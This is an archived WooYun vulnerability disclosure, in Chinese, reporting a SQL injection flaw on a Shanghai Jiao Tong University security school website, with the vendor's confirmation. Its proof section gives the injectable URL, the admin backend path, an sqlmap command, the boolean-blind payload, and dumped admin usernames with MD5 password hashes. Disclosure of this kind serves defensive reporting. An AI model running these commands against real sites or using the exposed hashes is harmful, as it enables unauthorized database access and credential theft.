当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154186

漏洞标题:上海交通大学新新安全工程学院sql注入漏洞

相关厂商:sjtu.edu.cn

漏洞作者: 菜鸟甲

提交时间:2015-11-18 19:38

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-18: 细节已通知厂商并且等待厂商处理中
2015-11-18: 厂商已经确认,细节仅向厂商公开
2015-11-28: 细节向核心白帽子及相关领域专家公开
2015-12-08: 细节向普通白帽子公开
2015-12-18: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

sql注入漏洞,表名存在公共表中

详细说明:

注入点:
http://infosec.sjtu.edu.cn/UndergraduateDetail.asp?id=270
同时由于发现之前有人在乌云上发了弱密码的漏洞,找到了后台
http://infosec.sjtu.edu.cn/bg/

漏洞证明:

sqlmap -u http://infosec.sjtu.edu.cn/UndergraduateDetail.asp?id=270 -T "tb_admin" -C "username,pwd" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:19:05
[19:19:05] [INFO] resuming back-end DBMS 'microsoft access'
[19:19:05] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=270 AND 8634=8634
---
[19:19:06] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:19:06] [ERROR] cannot retrieve column names, back-end DBMS is Access
[19:19:06] [INFO] fetching entries of column(s) 'pwd, username' for table 'tb_admin' in database 'Microsoft_Access_masterdb'
[19:19:06] [INFO] fetching number of column(s) 'pwd, username' entries for table 'tb_admin' in database 'Microsoft_Access_masterdb'
[19:19:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:19:06] [INFO] retrieved: 2
[19:19:13] [INFO] fetching number of distinct values for column 'pwd'
[19:19:13] [INFO] retrieved: 2
[19:19:17] [INFO] using column 'pwd' as a pivot for retrieving row data
[19:19:17] [INFO] retrieved: 1824c2755278e62f412de9aeebe1ea31
[19:22:35] [INFO] retrieved: admin
[19:23:04] [INFO] retrieved: 71a5c0514ab83382d98154e5a5f9d813
[19:25:48] [INFO] retrieved: dy
[19:25:59] [INFO] analyzing table dump for possible password hashes
[19:25:59] [INFO] recognized possible password hashes in column 'pwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: Microsoft_Access_masterdb
Table: tb_admin
[2 entries]
+----------------------------------+----------+
| pwd | username |
+----------------------------------+----------+
| 1824c2755278e62f412de9aeebe1ea31 | admin |
| 71a5c0514ab83382d98154e5a5f9d813 | dy |
+----------------------------------+----------+
[19:26:48] [INFO] table 'Microsoft_Access_masterdb.tb_admin' dumped to CSV file '/usr/share/sqlmap/output/infosec.sjtu.edu.cn/dump/Microsoft_Access_masterdb/tb_admin.csv'
[19:26:48] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/infosec.sjtu.edu.cn'
[*] shutting down at 19:26:48
两个MD5未解开,不过其他表中存在用户信息,就不进一步测试了

修复方案:

过滤 ,修改后台路径

版权声明:转载请注明来源 菜鸟甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-11-18 23:21

厂商回复:

谢谢,我们立即处理!

最新状态:

暂无